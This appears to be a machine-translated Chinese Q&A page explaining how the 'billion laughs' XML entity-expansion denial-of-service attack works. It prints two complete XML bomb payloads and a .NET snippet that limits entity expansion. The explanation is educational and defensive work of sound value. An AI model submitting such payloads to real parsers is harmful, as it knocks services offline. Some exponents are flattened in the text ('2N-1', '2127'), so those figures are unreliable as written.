十亿笑的XML DoS攻击如何起作用?


How does the billion laughs XML DoS attack work?

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE root [
<!ENTITY ha"Ha !">
 <!ENTITY ha2"&ha; &ha;">
 <!ENTITY ha3"&ha2; &ha2;">
 <!ENTITY ha4"&ha3; &ha3;">
 <!ENTITY ha5"&ha4; &ha4;">
 ...
 <!ENTITY ha128"&ha127; &ha127;">
 ]>
 <root>&ha128;</root>

据说这被称为十亿笑DoS攻击。

有谁知道它是如何工作的?


Billion Laughs攻击是针对XML解析器的拒绝服务攻击。 Billion Laughs攻击也称为XML炸弹,或更深奥地讲,是指数实体扩展攻击。即使使用格式正确的XML,也可能发生Billion Laughs攻击,并且还可以通过XML模式验证。

下图所示的XML文件中说明了普通的Billion Laughs攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol"lol">
<!ENTITY lol2"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5"&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6"&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7"&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8"&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9"&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

在此示例中,有10个不同的XML实体lollol9。第一个实体lol定义为字符串"lol"。但是,每个其他实体都定义为另一个实体中的10个。此XML文件的文档内容部分仅包含对实体lol9的一个实例的引用。但是,当它被DOM或SAX解析器解析时,遇到lol9时,它会扩展为10 lol8 s,每个扩展为10 lol7 s,依此类推。到将所有内容扩展为文本lol时,字符串"lol"的数量已达100,000,000。如果再有一个实体,或者lol被定义为"lol"的10个字符串,那么将有十亿个"大声笑",因此是攻击的名称。不用说,这种许多扩展会消耗大量的资源和时间,从而导致DOS。

我的博客上有更详细的解释。


XML炸弹之一-http://msdn.microsoft.com/en-us/magazine/ee335713.aspx

An attacker can now take advantage of these three properties of XML (substitution entities, nested entities, and inline DTDs) to craft a malicious XML bomb. The attacker writes an XML document with nested entities just like the previous example, but instead of nesting just one level deep, he nests his entities many levels deep...

还有一些代码可以防止这些"炸弹"(在.NET世界中):

1
2
3
4
XmlReaderSettings settings = new XmlReaderSettings();
settings.ProhibitDtd = false;
settings.MaxCharactersFromEntities = 1024;
XmlReader reader = XmlReader.Create(stream, settings);


定义一个实体,&ha;会扩展为"Ha !"。下一行定义了另一个实体&ha2;,该实体扩展为"&ha; &ha;",最后扩展为"Ha ! Ha !"

&ha3;变成Ha ! Ha ! Ha ! Ha !,依此类推,每次将数字加倍。如果按照该模式进行操作,则&haN;"Ha !"的2N-1倍,因此&ha128会扩展为2127 "Ha !" s,这对于任何计算机而言都太大了。